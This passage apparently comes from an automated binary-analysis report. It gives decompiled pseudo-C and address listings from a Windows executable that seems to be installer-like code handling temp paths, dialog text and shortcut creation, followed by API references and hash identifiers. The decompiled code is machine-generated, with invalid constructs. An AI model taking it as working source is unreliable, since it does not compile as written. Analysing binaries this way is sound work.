									__eflags =  *(__ebp - 0x6c84) - __bx;
									if( *(__ebp - 0x6c84) != __bx) {
										L130:
										__ebp - 0x6c84 = E010FA0C0(__ebp - 0x6c84);
										__eflags = __al;
										if(__al != 0) {
											goto L147;
										}
										L131:
										__ebx = __edi;
										__esi = __ebp - 0x6c84;
										__eflags =  *(__ebp - 0x6c84) - __bx;
										if( *(__ebp - 0x6c84) == __bx) {
											goto L147;
										}
										L132:
										_push(0x20);
										_pop(__ecx);
										do {
											L133:
											__eax = __esi->i & 0x0000ffff;
											__eflags = __ax - __cx;
											if(__ax == __cx) {
												L135:
												__edi = __eax;
												__eax = 0;
												__esi->i = __ax;
												__ebp - 0x6c84 = E010FA0C0(__ebp - 0x6c84);
												__eflags = __al;
												if(__al == 0) {
													L142:
													__esi->i = __di;
													L143:
													_push(0x20);
													_pop(__ecx);
													__edi = 0;
													__eflags = 0;
													goto L144;
												}
												L136:
												_push(0x2f);
												_pop(__eax);
												__ebx = __esi;
												__eflags = __di - __ax;
												if(__di != __ax) {
													L138:
													_push(0x20);
													_pop(__eax);
													do {
														L139:
														__esi =  &(__esi->i);
														__eflags = __esi->i - __ax;
													} while (__esi->i == __ax);
													_push(__esi);
													__eax = __ebp - 0x1c3c;
													L141:
													_push(__eax);
													__eax = E01115646();
													_pop(__ecx);
													_pop(__ecx);
													 *__ebx = __di;
													goto L143;
												}
												L137:
												 *(__ebp - 0x1c3c) = __ax;
												__eax =  &(__esi->i);
												_push( &(__esi->i));
												__eax = __ebp - 0x1c3a;
												goto L141;
											}
											L134:
											_push(0x2f);
											_pop(__edx);
											__eflags = __ax - __dx;
											if(__ax != __dx) {
												goto L144;
											}
											goto L135;
											L144:
											__esi =  &(__esi->i);
											__eflags = __esi->i - __di;
										} while (__esi->i != __di);
										__eflags = __ebx;
										if(__ebx != 0) {
											__eax = 0;
											__eflags = 0;
											 *__ebx = __ax;
										}
										goto L147;
									} else {
										L128:
										__ebp - 0x19c8a = __ebp - 0x6c84;
										E01115646(__ebp - 0x6c84, __ebp - 0x19c8a) = __ebp - 0x6c82;
										_push(__ebx);
										_push(__ebp - 0x6c82);
										__eax = E01111438(__ecx);
										__esp = __esp + 0x10;
										__eflags = __eax;
										if(__eax != 0) {
											__ecx = 0;
											 *__eax = __cx;
											__ebp - 0x1c3c = E01115646(__ebp - 0x1c3c, __ebp - 0x1c3c);
											_pop(__ecx);
											_pop(__ecx);
										}
										L147:
										__eflags =  *((short*)(__ebp - 0x11c8c));
										__ebx = 0x800;
										if( *((short*)(__ebp - 0x11c8c)) != 0) {
											__ebp - 0x9c8c = __ebp - 0x11c8c;
											__eax = E010FB179(__ebp - 0x11c8c, __ebp - 0x9c8c, 0x800);
										}
										__ebp - 0xbc8c = __ebp - 0x6c84;
										__eax = E010FB179(__ebp - 0x6c84, __ebp - 0xbc8c, __ebx);
										__eflags =  *(__ebp - 0x2c3c);
										if(__eflags == 0) {
											__ebp - 0x2c3c = E0110AA7E(__ecx, __ebp - 0x2c3c,  *(__ebp - 0x14));
										}
										__ebp - 0x2c3c = E010FB147(__eflags, __ebp - 0x2c3c, __ebx);
										__eflags =  *((short*)(__ebp - 0x17c8c));
										if(__eflags != 0) {
											__ebp - 0x17c8c = __ebp - 0x2c3c;
											E010FFD6E(__eflags, __ebp - 0x2c3c, __ebp - 0x17c8c, __ebx) = __ebp - 0x2c3c;
											__eax = E010FB147(__eflags, __ebp - 0x2c3c, __ebx);
										}
										__ebp - 0x2c3c = __ebp - 0xcc8c;
										__eax = E01115646(__ebp - 0xcc8c, __ebp - 0x2c3c);
										__eflags =  *(__ebp - 0x13c8c);
										__eax = __ebp - 0x13c8c;
										_pop(__ecx);
										_pop(__ecx);
										if(__eflags == 0) {
											__eax = __ebp - 0x19c8c;
										}
										__ebp - 0x2c3c = E010FFD6E(__eflags, __ebp - 0x2c3c, __ebp - 0x2c3c, __ebx);
										__eax = __ebp - 0x2c3c;
										__eflags = E010FB3D3(__ebp - 0x2c3c);
										if(__eflags == 0) {
											L157:
											__ebp - 0x2c3c = E010FFD6E(__eflags, __ebp - 0x2c3c, L".lnk", __ebx);
											goto L158;
										} else {
											L156:
											__eflags = __eax;
											if(__eflags == 0) {
												L158:
												_push(1);
												__eax = __ebp - 0x2c3c;
												_push(__ebp - 0x2c3c);
												E010F9F8F(__ecx, __ebp) = __ebp - 0xbc8c;
												__ebp - 0xac8c = E01115646(__ebp - 0xac8c, __ebp - 0xbc8c);
												_pop(__ecx);
												_pop(__ecx);
												__ebp - 0xac8c = E010FBC0F(__eflags, __ebp - 0xac8c);
												__ecx =  *(__ebp - 0x1c3c) & 0x0000ffff;
												__eax = __ebp - 0x1c3c;
												__ecx =  ~( *(__ebp - 0x1c3c) & 0x0000ffff);
												__edx = __ebp - 0x9c8c;
												__esi = __ebp - 0xac8c;
												asm("sbb ecx, ecx");
												__ecx =  ~( *(__ebp - 0x1c3c) & 0x0000ffff) & __ebp - 0x00001c3c;
												 *(__ebp - 0x9c8c) & 0x0000ffff =  ~( *(__ebp - 0x9c8c) & 0x0000ffff);
												asm("sbb eax, eax");
												__eax =  ~( *(__ebp - 0x9c8c) & 0x0000ffff) & __ebp - 0x00009c8c;
												 *(__ebp - 0xac8c) & 0x0000ffff =  ~( *(__ebp - 0xac8c) & 0x0000ffff);
												__eax = __ebp - 0x15c8c;
												asm("sbb edx, edx");
												__edx =  ~( *(__ebp - 0xac8c) & 0x0000ffff) & __esi;
												E0110A564(__ebp - 0x15c8c) = __ebp - 0x2c3c;
												__ebp - 0xbc8c = E01109B4C(__ecx, __edi, __ebp - 0xbc8c, __ebp - 0x2c3c,  ~( *(__ebp - 0xac8c) & 0x0000ffff) & __esi, __ebp - 0xbc8c,  ~( *(__ebp - 0x9c8c) & 0x0000ffff) & __ebp - 0x00009c8c,  ~( *(__ebp - 0x1c3c) & 0x0000ffff) & __ebp - 0x00001c3c);
												__eflags =  *(__ebp - 0xcc8c);
												if( *(__ebp - 0xcc8c) != 0) {
													_push(__edi);
													__eax = __ebp - 0xcc8c;
													_push(__ebp - 0xcc8c);
													_push(5);
													_push(0x1000);
													__eax =  *0x1151078();
												}
												goto L162;
											}
											goto L157;
										}
									}
								case 0xb:
									L160:
									__eflags = __ebx - 7;
									if(__ebx == 7) {
										 *0x1139470 = 1;
									}
									goto L162;
								case 0xc:
									L81:
									__eax =  *(__ebp - 0x5c84) & 0x0000ffff;
									__eax = E01116280( *(__ebp - 0x5c84) & 0x0000ffff);
									__eflags = __eax - 0x46;
									if(__eax == 0x46) {
										 *0x1137444 = 1;
									} else {
										__eflags = __eax - 0x55;
										if(__eax == 0x55) {
											 *0x1137445 = 1;
										} else {
											__eax = 0;
											 *0x1137444 = __al;
											 *0x1137445 = __al;
										}
									}
									goto L162;
								case 0xd:
									L91:
									 *0x114dc91 = 1;
									__eax = __eax + 0x114dc91;
									_t102 = __esi + 0x39;
									 *_t102 =  *(__esi + 0x39) + __esp;
									__eflags =  *_t102;
									__ebp = 0xffffa37c;
									if( *_t102 != 0) {
										_t104 = __ebp - 0x5c84; // 0xffff46f8
										__eax = _t104;
										_push(_t104);
										 *0x112d5fc = E011016F4();
									}
									goto L162;
							}
							L2:
							_t208 = E0110A647(_t208, _t276);
							_t276 = _t276 + 0x2000;
							_t273 = _t273 - 1;
							if(_t273 != 0) {
								goto L2;
							} else {
								_t277 = _t273;
								goto L4;
							}
						}
						L163:
						 *[fs:0x0] =  *((intOrPtr*)(_t281 - 0xc));
						return _t207;
					}
					L98:
					__eflags =  *0x1145b72;
					if( *0x1145b72 != 0) {
						goto L162;
					}
					L99:
					__eax = 0;
					 *(__ebp - 0x143c) = __ax;
					__eax = __ebp - 0x5c84;
					_push(__ebp - 0x5c84);
					__eax = E01111438(__ecx);
					_pop(__ecx);
					__ecx = 0x2c;
					__eflags = __eax;
					if(__eax != 0) {
						L106:
						__eflags =  *(__ebp - 0x143c);
						if( *(__ebp - 0x143c) == 0) {
							__ebp - 0x1bc8c = __ebp - 0x5c84;
							E010FFD96(__ebp - 0x5c84, __ebp - 0x1bc8c, 0x1000) = __ebp - 0x19c8c;
							__ebp - 0x143c = E010FFD96(__ebp - 0x143c, __ebp - 0x19c8c, 0x200);
						}
						__ebp - 0x5c84 = E0110A472(__ebp - 0x5c84);
						__eax = 0;
						 *(__ebp - 0x4c84) = __ax;
						__ebp - 0x143c = __ebp - 0x5c84;
						__eax = E01109EB3( *(__ebp + 8), __ebp - 0x5c84, __ebp - 0x143c, 0x24);
						__eflags = __eax - 6;
						if(__eax == 6) {
							goto L162;
						} else {
							L109:
							__eax = 0;
							__eflags = 0;
							 *0x1137447 = 1;
							 *0x113846a = __ax;
							__eax = EndDialog( *(__ebp + 8), 1);
							goto L110;
						}
					}
					L100:
					__esi = 0;
					__eflags =  *(__ebp - 0x5c84) - __dx;
					if( *(__ebp - 0x5c84) == __dx) {
						goto L106;
					}
					L101:
					__ecx = 0;
					__eax = __ebp - 0x5c84;
					while(1) {
						L102:
						__eflags =  *__eax - 0x40;
						if( *__eax == 0x40) {
							break;
						}
						L103:
						__esi =  &(__esi->i);
						__eax = __ebp - 0x5c84;
						__ecx = __esi + __esi;
						__eax = __ebp - 0x5c84 + __ecx;
						__eflags =  *__eax - __dx;
						if( *__eax != __dx) {
							continue;
						}
						L104:
						goto L106;
					}
					L105:
					__ebp - 0x5c82 = __ebp - 0x5c82 + __ecx;
					__ebp - 0x143c = E010FFD96(__ebp - 0x143c, __ebp - 0x5c82 + __ecx, 0x200);
					__eax = 0;
					__eflags = 0;
					 *(__ebp + __esi * 2 - 0x5c84) = __ax;
					goto L106;
					L110:
					__eflags = _t259 - 7;
					if(_t259 == 7) {
						__eflags =  *0x113946c;
						if( *0x113946c == 0) {
							 *0x113946c = 2;
						}
						 *0x1138468 = 1;
					}
					goto L162;
				}
			}

0x0110c3ab
0x0110c3ab
0x0110c3ab
0x0110c3ab
0x0110c3ae
0x00000000
0x00000000
0x0110c3b4
0x0110c3b4
0x0110c3ba
0x0110c3c1
0x0110c3cf
0x0110c3d4
0x0110c3d6
0x0110c3d8
0x0110c3dd
0x0110c3dd
0x0110c3dd
0x0110c3f5
0x0110c402
0x0110c407
0x0110c409
0x00000000
0x00000000
0x0110c3db
0x0110c3db
0x0110c3db
0x0110c3dc
0x0110c3dc
0x0110c40b
0x0110c415
0x0110c41b
0x0110c423
0x0110c8e3
0x0110c8e3
0x0110c8e3
0x0110c8e8
0x0110c8ec
0x0110c8f0
0x0110c8f7
0x0110c8fe
0x0110c901
0x0110c906
0x0110c909
0x0110c90e
0x0110bd8b
0x0110bd91
0x0110bd97
0x0110bd97
0x00000000
0x00000000
0x00000000
0x00000000
0x0110bdac
0x0110bdc3
0x0110bdc7
0x00000000
0x0110bdc9
0x00000000
0x0110bdc9
0x0110bdc7
0x0110bdce
0x0110bdd1
0x00000000
0x00000000
0x0110bdd7
0x0110bdd7
0x00000000
0x0110bdde
0x0110bdde
0x0110bde1
0x0110bdf4
0x0110be1a
0x0110be2e
0x0110be31
0x0110be3c
0x0110bf80
0x0110bf80
0x0110bf80
0x0110bf88
0x0110bf8e
0x0110bf93
0x0110bf95
0x00000000
0x00000000
0x0110be46
0x0110be4e
0x0110be54
0x0110be5a
0x0110bf00
0x0110bf07
0x0110bf0d
0x0110bf10
0x00000000
0x00000000
0x0110bf12
0x0110bf19
0x0110bf1f
0x0110bf21
0x00000000
0x0110bf23
0x0110bf23
0x0110bf25
0x0110bf26
0x0110bf2a
0x0110bf3e
0x0110bf43
0x0110bf4d
0x0110bf53
0x0110bf56
0x0110bf28
0x0110bf28
0x0110bf29
0x00000000
0x0110bf58
0x0110bf66
0x0110bf6c
0x0110bf6e
0x0110bf7a
0x0110bf7a
0x00000000
0x0110bf6e
0x0110bf56
0x0110bf21
0x0110be60
0x0110be6f
0x0110be7c
0x0110be8d
0x0110be90
0x0110be93
0x0110bea6
0x0110bead
0x0110beb2
0x0110beb4
0x00000000
0x00000000
0x0110beba
0x0110bec1
0x0110bec6
0x0110becb
0x0110bed7
0x0110bedc
0x0110bedf
0x0110bee6
0x0110bee8
0x0110bee9
0x0110bef3
0x0110befa
0x00000000
0x0110befa
0x0110be95
0x0110be9c
0x0110bea2
0x0110bea4
0x00000000
0x00000000
0x00000000
0x0110bea4
0x0110bf9b
0x0110bf9b
0x0110bfa5
0x0110bfa5
0x00000000
0x00000000
0x0110bfaf
0x0110bfaf
0x0110bfb1
0x0110c004
0x0110c009
0x0110c012
0x0110c013
0x0110c019
0x0110c01e
0x0110c021
0x0110c023
0x0110c025
0x0110c02a
0x0110c02c
0x0110c02e
0x0110c02e
0x0110c030
0x0110c030
0x0110c035
0x0110c03a
0x0110c03b
0x0110c03b
0x0110c03c
0x0110c03e
0x0110c045
0x0110c04a
0x0110c03e
0x00000000
0x00000000
0x0110c050
0x0110c050
0x0110c052
0x0110c062
0x0110c062
0x00000000
0x00000000
0x0110c06d
0x0110c06d
0x0110c06f
0x00000000
0x00000000
0x0110c075
0x0110c075
0x0110c07c
0x00000000
0x00000000
0x0110c082
0x0110c082
0x0110c084
0x0110c08a
0x0110c08c
0x0110c093
0x0110c094
0x0110c09b
0x0110c09d
0x0110c09d
0x0110c0a4
0x0110c0a9
0x0110c0af
0x0110c0b1
0x00000000
0x0110c0b7
0x0110c0b7
0x0110c0b7
0x0110c0ba
0x0110c0bc
0x0110c0bd
0x0110c0c0
0x0110c0e9
0x0110c0e9
0x0110c0ec
0x0110c1d1
0x0110c1da
0x0110c1df
0x0110c1df
0x0110c1e1
0x0110c1e1
0x0110c1e3
0x0110c1e5
0x0110c1ec
0x0110c1f1
0x0110c1f2
0x0110c1f3
0x0110c1f5
0x0110c1f7
0x0110c1fb
0x0110c1fd
0x0110c1fd
0x0110c1ff
0x0110c1ff
0x0110c1fb
0x0110c203
0x0110c209
0x0110c216
0x0110c21d
0x0110c22d
0x0110c237
0x0110c245
0x0110c24b
0x0110c253
0x0110c258
0x0110c259
0x0110c25a
0x0110c25c
0x0110c270
0x0110c270
0x00000000
0x0110c25c
0x0110c0f2
0x0110c0f2
0x0110c0f5
0x0110c102
0x0110c102
0x0110c105
0x0110c107
0x0110c108
0x0110c10a
0x0110c10b
0x0110c110
0x0110c115
0x0110c11b
0x0110c11d
0x0110c11f
0x0110c122
0x0110c129
0x0110c12a
0x0110c130
0x0110c131
0x0110c134
0x0110c135
0x0110c136
0x0110c13b
0x0110c13e
0x0110c144
0x0110c14d
0x0110c150
0x0110c155
0x0110c157
0x0110c159
0x0110c15b
0x0110c15b
0x0110c15d
0x0110c15d
0x0110c15f
0x0110c15f
0x0110c167
0x0110c16e
0x0110c170
0x0110c177
0x0110c17d
0x0110c17f
0x0110c180
0x0110c188
0x0110c197
0x0110c197
0x0110c188
0x0110c1a2
0x0110c1a4
0x0110c1b3
0x0110c1b9
0x0110c1bf
0x0110c1ca
0x0110c1ca
0x00000000
0x0110c1bf
0x0110c0f7
0x0110c0f7
0x0110c0fc
0x00000000
0x00000000
0x00000000
0x0110c0fc
0x0110c0c2
0x0110c0c2
0x0110c0c6
0x00000000
0x00000000
0x0110c0c8
0x0110c0c8
0x0110c0cb
0x0110c0cd
0x0110c0d0
0x00000000
0x0110c0d6
0x0110c0df
0x00000000
0x0110c0df
0x0110c0d0
0x00000000
0x0110c27b
0x0110c27b
0x0110c27c
0x0110c281
0x0110c283
0x0110c286
0x0110c286
0x00000000
0x0110c2bc
0x0110c2bc
0x0110c2c3
0x0110c2c5
0x0110c2c5
0x0110c2c7
0x0110c2f6
0x0110c2f6
0x0110c2fc
0x00000000
0x0110c2fc
0x0110c2c9
0x0110c2c9
0x0110c2c9
0x0110c2cc
0x0110c2e5
0x0110c2e5
0x0110c2eb
0x0110c2eb
0x00000000
0x0110c2eb
0x0110c2ce
0x0110c2ce
0x0110c2ce
0x0110c2d1
0x00000000
0x00000000
0x0110c2d3
0x0110c2d3
0x0110c2d3
0x0110c2d6
0x00000000
0x00000000
0x0110c2dc
0x0110c2dc
0x00000000
0x00000000
0x0110c349
0x0110c349
0x0110c34c
0x00000000
0x00000000
0x0110c34e
0x0110c34e
0x0110c35a
0x0110c35f
0x0110c360
0x0110c361
0x0110c363
0x00000000
0x00000000
0x0110c365
0x0110c365
0x00000000
0x00000000
0x00000000
0x00000000
0x0110c557
0x0110c557
0x0110c55a
0x0110c55c
0x0110c563
0x0110c565
0x0110c56b
0x0110c56c
0x0110c571
0x0110c572
0x0110c572
0x0110c577
0x0110c57a
0x0110c580
0x0110c580
0x0110c585
0x00000000
0x00000000
0x0110c591
0x0110c591
0x0110c594
0x0110c375
0x0110c375
0x00000000
0x0110c375
0x0110c59a
0x0110c59a
0x0110c366
0x0110c366
0x0110c36c
0x0110c36d
0x0110c370
0x00000000
0x00000000
0x0110c5a1
0x0110c5a1
0x0110c5a4
0x00000000
0x00000000
0x0110c5aa
0x0110c5aa
0x0110c5ac
0x0110c5b3
0x0110c5bb
0x0110c5c1
0x0110c5c6
0x0110c5c9
0x0110c5fe
0x0110c603
0x0110c609
0x0110c60a
0x0110c60f
0x0110c5cb
0x0110c5cb
0x0110c5ce
0x0110c5d4
0x0110c5ea
0x0110c5ef
0x0110c5f0
0x0110c5f5
0x0110c5d6
0x0110c5d6
0x0110c5db
0x0110c5dc
0x0110c5e1
0x0110c5e1
0x0110c5d4
0x0110c616
0x0110c618
0x0110c61f
0x0110c62d
0x0110c634
0x0110c639
0x0110c63a
0x0110c63b
0x0110c63d
0x0110c63e
0x0110c645
0x0110c68e
0x0110c695
0x0110c69a
0x0110c69c
0x00000000
0x00000000
0x0110c6a2
0x0110c6a2
0x0110c6a4
0x0110c6aa
0x0110c6b1
0x00000000
0x00000000
0x0110c6b3
0x0110c6b3
0x0110c6b5
0x0110c6b6
0x0110c6b6
0x0110c6b6
0x0110c6b9
0x0110c6bc
0x0110c6c6
0x0110c6c6
0x0110c6c8
0x0110c6ca
0x0110c6d4
0x0110c6d9
0x0110c6db
0x0110c719
0x0110c719
0x0110c71c
0x0110c71c
0x0110c71e
0x0110c71f
0x0110c71f
0x00000000
0x0110c71f
0x0110c6dd
0x0110c6dd
0x0110c6df
0x0110c6e0
0x0110c6e2
0x0110c6e5
0x0110c6fa
0x0110c6fa
0x0110c6fc
0x0110c6fd
0x0110c6fd
0x0110c6fd
0x0110c700
0x0110c700
0x0110c705
0x0110c706
0x0110c70c
0x0110c70c
0x0110c70d
0x0110c712
0x0110c713
0x0110c714
0x00000000
0x0110c714
0x0110c6e7
0x0110c6e7
0x0110c6ee
0x0110c6f1
0x0110c6f2
0x00000000
0x0110c6f2
0x0110c6be
0x0110c6be
0x0110c6c0
0x0110c6c1
0x0110c6c4
0x00000000
0x00000000
0x00000000
0x0110c721
0x0110c721
0x0110c724
0x0110c724
0x0110c729
0x0110c72b
0x0110c72d
0x0110c72d
0x0110c72f
0x0110c72f
0x00000000
0x0110c647
0x0110c647
0x0110c64e
0x0110c65a
0x0110c660
0x0110c661
0x0110c662
0x0110c667
0x0110c66a
0x0110c66c
0x0110c672
0x0110c674
0x0110c682
0x0110c687
0x0110c688
0x0110c688
0x0110c732
0x0110c732
0x0110c73a
0x0110c73f
0x0110c749
0x0110c750
0x0110c750
0x0110c75d
0x0110c764
0x0110c769
0x0110c771
0x0110c77d
0x0110c77d
0x0110c78a
0x0110c78f
0x0110c797
0x0110c7a1
0x0110c7ae
0x0110c7b5
0x0110c7b5
0x0110c7c1
0x0110c7c8
0x0110c7cd
0x0110c7d5
0x0110c7db
0x0110c7dc
0x0110c7dd
0x0110c7df
0x0110c7df
0x0110c7f4
0x0110c7f9
0x0110c805
0x0110c807
0x0110c818
0x0110c825
0x00000000
0x0110c809
0x0110c809
0x0110c814
0x0110c816
0x0110c82a
0x0110c82a
0x0110c82c
0x0110c832
0x0110c838
0x0110c846
0x0110c84b
0x0110c84c
0x0110c854
0x0110c859
0x0110c860
0x0110c866
0x0110c868
0x0110c86e
0x0110c874
0x0110c876
0x0110c87f
0x0110c882
0x0110c884
0x0110c88d
0x0110c890
0x0110c896
0x0110c899
0x0110c8a2
0x0110c8b1
0x0110c8b6
0x0110c8be
0x0110c8c0
0x0110c8c1
0x0110c8c7
0x0110c8c8
0x0110c8ca
0x0110c8cf
0x0110c8cf
0x00000000
0x0110c8be
0x00000000
0x0110c816
0x0110c807
0x00000000
0x0110c8d7
0x0110c8d7
0x0110c8da
0x0110c8dc
0x0110c8dc
0x00000000
0x00000000
0x0110c308
0x0110c308
0x0110c310
0x0110c316
0x0110c319
0x0110c33d
0x0110c31b
0x0110c31b
0x0110c31e
0x0110c331
0x0110c320
0x0110c320
0x0110c322
0x0110c327
0x0110c327
0x0110c31e
0x00000000
0x00000000
0x0110c381
0x0110c381
0x0110c382
0x0110c387
0x0110c387
0x0110c387
0x0110c38a
0x0110c38f
0x0110c395
0x0110c395
0x0110c39b
0x0110c3a1
0x0110c3a1
0x00000000
0x00000000
0x0110bd98
0x0110bd9a
0x0110bd9f
0x0110bda5
0x0110bda8
0x00000000
0x0110bdaa
0x0110bdaa
0x00000000
0x0110bdaa
0x0110bda8
0x0110c914
0x0110c91a
0x0110c924
0x0110c924
0x0110c429
0x0110c429
0x0110c430
0x00000000
0x00000000
0x0110c436
0x0110c436
0x0110c438
0x0110c43f
0x0110c447
0x0110c448
0x0110c44d
0x0110c44e
0x0110c44f
0x0110c451
0x0110c4a5
0x0110c4a5
0x0110c4ad
0x0110c4bb
0x0110c4cc
0x0110c4da
0x0110c4da
0x0110c4e6
0x0110c4eb
0x0110c4ed
0x0110c4fd
0x0110c507
0x0110c50c
0x0110c50f
0x00000000
0x0110c515
0x0110c515
0x0110c51a
0x0110c51a
0x0110c51c
0x0110c523
0x0110c529
0x00000000
0x0110c529
0x0110c50f
0x0110c453
0x0110c455
0x0110c457
0x0110c45e
0x00000000
0x00000000
0x0110c460
0x0110c460
0x0110c462
0x0110c468
0x0110c468
0x0110c468
0x0110c46c
0x00000000
0x00000000
0x0110c46e
0x0110c46e
0x0110c46f
0x0110c475
0x0110c478
0x0110c47a
0x0110c47d
0x00000000
0x00000000
0x0110c47f
0x00000000
0x0110c47f
0x0110c481
0x0110c48c
0x0110c496
0x0110c49b
0x0110c49b
0x0110c49d
0x00000000
0x0110c52f
0x0110c52f
0x0110c532
0x0110c538
0x0110c53f
0x0110c541
0x0110c541
0x0110c54b
0x0110c54b
0x00000000
0x0110c532

APIs

GetTempPathW.KERNELBASE(00000800,?), ref: 0110C3C1
_swprintf.LIBCMT ref: 0110C3F5

Part of subcall function 010F3FD6: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 010F3FE9

SetDlgItemTextW.USER32(?,00000066,0113846A), ref: 0110C415
_wcschr.LIBVCRUNTIME ref: 0110C448
EndDialog.USER32(?,00000001), ref: 0110C529

Strings

%s%s%u, xrefs: 0110C3EA

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcschr
String ID: %s%s%u
API String ID: 2892007947-1360425832
Opcode ID: eec65bf70e912ab7ed4253e1867a1ea3798d0cab507e63e951114a3159f82ed3
Instruction ID: 1e2a76664c1943e965ce6a155fef669a4022e5e1d0e13a444ca790b586455f3c
Opcode Fuzzy Hash: eec65bf70e912ab7ed4253e1867a1ea3798d0cab507e63e951114a3159f82ed3
Instruction Fuzzy Hash: A3417375D00219AEEF2ADB64DD85FEE77BCAB04314F0041E6E509D7091EBB09A848F91

Uniqueness

Uniqueness Score: -1.00%

Function 01119ED8, Relevance: 9.2, APIs: 6, Instructions: 216
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E01119ED8(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char* _a16, int _a20, intOrPtr _a24, short* _a28, int _a32, intOrPtr _a36) {
				signed int _v8;
				int _v12;
				void* _v24;
				signed int _t49;
				signed int _t54;
				int _t58;
				signed int _t60;
				short* _t62;
				signed int _t66;
				short* _t70;
				int _t71;
				int _t78;
				short* _t81;
				signed int _t87;
				signed int _t90;
				void* _t95;
				void* _t96;
				int _t98;
				short* _t101;
				int _t103;
				signed int _t106;
				short* _t107;
				void* _t110;

				_push(__ecx);
				_push(__ecx);
				_t49 =  *0x112d668; // 0xf5f1ec05
				_v8 = _t49 ^ _t106;
				_push(__esi);
				_t103 = _a20;
				if(_t103 > 0) {
					_t78 = E0111E52C(_a16, _t103);
					_t110 = _t78 - _t103;
					_t4 = _t78 + 1; // 0x1
					_t103 = _t4;
					if(_t110 >= 0) {
						_t103 = _t78;
					}
				}
				_t98 = _a32;
				if(_t98 == 0) {
					_t98 =  *( *_a4 + 8);
					_a32 = _t98;
				}
				_t54 = MultiByteToWideChar(_t98, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t103, 0, 0);
				_v12 = _t54;
				if(_t54 == 0) {
					L38:
					return E0110EA8A(_v8 ^ _t106);
				} else {
					_t95 = _t54 + _t54;
					_t85 = _t95 + 8;
					asm("sbb eax, eax");
					if((_t95 + 0x00000008 & _t54) == 0) {
						_t81 = 0;
						__eflags = 0;
						L14:
						if(_t81 == 0) {
							L36:
							_t105 = 0;
							L37:
							E0111A140(_t81);
							goto L38;
						}
						_t58 = MultiByteToWideChar(_t98, 1, _a16, _t103, _t81, _v12);
						_t121 = _t58;
						if(_t58 == 0) {
							goto L36;
						}
						_t100 = _v12;
						_t60 = E0111A5AC(_t85, _t103, _t121, _a8, _a12, _t81, _v12, 0, 0, 0, 0, 0); // executed
						_t105 = _t60;
						if(_t105 == 0) {
							goto L36;
						}
						if((_a12 & 0x00000400) == 0) {
							_t96 = _t105 + _t105;
							_t87 = _t96 + 8;
							__eflags = _t96 - _t87;
							asm("sbb eax, eax");
							__eflags = _t87 & _t60;
							if((_t87 & _t60) == 0) {
								_t101 = 0;
								__eflags = 0;
								L30:
								__eflags = _t101;
								if(__eflags == 0) {
									L35:
									E0111A140(_t101);
									goto L36;
								}
								_t62 = E0111A5AC(_t87, _t105, __eflags, _a8, _a12, _t81, _v12, _t101, _t105, 0, 0, 0);
								__eflags = _t62;
								if(_t62 == 0) {
									goto L35;
								}
								_push(0);
								_push(0);
								__eflags = _a28;
								if(_a28 != 0) {
									_push(_a28);
									_push(_a24);
								} else {
									_push(0);
									_push(0);
								}
								_t105 = WideCharToMultiByte(_a32, 0, _t101, _t105, ??, ??, ??, ??);
								__eflags = _t105;
								if(_t105 != 0) {
									E0111A140(_t101);
									goto L37;
								} else {
									goto L35;
								}
							}
							_t90 = _t96 + 8;
							__eflags = _t96 - _t90;
							asm("sbb eax, eax");
							_t66 = _t60 & _t90;
							_t87 = _t96 + 8;
							__eflags = _t66 - 0x400;
							if(_t66 > 0x400) {
								__eflags = _t96 - _t87;
								asm("sbb eax, eax");
								_t101 = E01118398(_t87, _t66 & _t87);
								_pop(_t87);
								__eflags = _t101;
								if(_t101 == 0) {
									goto L35;
								}
								 *_t101 = 0xdddd;
								L28:
								_t101 =  &(_t101[4]);
								goto L30;
							}
							__eflags = _t96 - _t87;
							asm("sbb eax, eax");
							E01121870();
							_t101 = _t107;
							__eflags = _t101;
							if(_t101 == 0) {
								goto L35;
							}
							 *_t101 = 0xcccc;
							goto L28;
						}
						_t70 = _a28;
						if(_t70 == 0) {
							goto L37;
						}
						_t125 = _t105 - _t70;
						if(_t105 > _t70) {
							goto L36;
						}
						_t71 = E0111A5AC(0, _t105, _t125, _a8, _a12, _t81, _t100, _a24, _t70, 0, 0, 0);
						_t105 = _t71;
						if(_t71 != 0) {
							goto L37;
						}
						goto L36;
					}
					asm("sbb eax, eax");
					_t72 = _t54 & _t95 + 0x00000008;
					_t85 = _t95 + 8;
					if((_t54 & _t95 + 0x00000008) > 0x400) {
						__eflags = _t95 - _t85;
						asm("sbb eax, eax");
						_t81 = E01118398(_t85, _t72 & _t85);
						_pop(_t85);
						__eflags = _t81;
						if(__eflags == 0) {
							goto L36;
						}
						 *_t81 = 0xdddd;
						L12:
						_t81 =  &(_t81[4]);
						goto L14;
					}
					asm("sbb eax, eax");
					E01121870();
					_t81 = _t107;
					if(_t81 == 0) {
						goto L36;
					}
					 *_t81 = 0xcccc;
					goto L12;
				}
			}

0x01119edd
0x01119ede
0x01119edf
0x01119ee6
0x01119eea
0x01119eeb
0x01119ef1
0x01119ef7
0x01119efd
0x01119f00
0x01119f00
0x01119f03
0x01119f05
0x01119f05
0x01119f03
0x01119f07
0x01119f0c
0x01119f13
0x01119f16
0x01119f16
0x01119f32
0x01119f38
0x01119f3d
0x0111a0d0
0x0111a0e3
0x01119f43
0x01119f43
0x01119f46
0x01119f4b
0x01119f4f
0x01119fa3
0x01119fa3
0x01119fa5
0x01119fa7
0x0111a0c5
0x0111a0c5
0x0111a0c7
0x0111a0c8
0x00000000
0x0111a0ce
0x01119fb8
0x01119fbe
0x01119fc0
0x00000000
0x00000000
0x01119fc6
0x01119fd8
0x01119fdd
0x01119fe1
0x00000000
0x00000000
0x01119fee
0x0111a028
0x0111a02b
0x0111a02e
0x0111a030
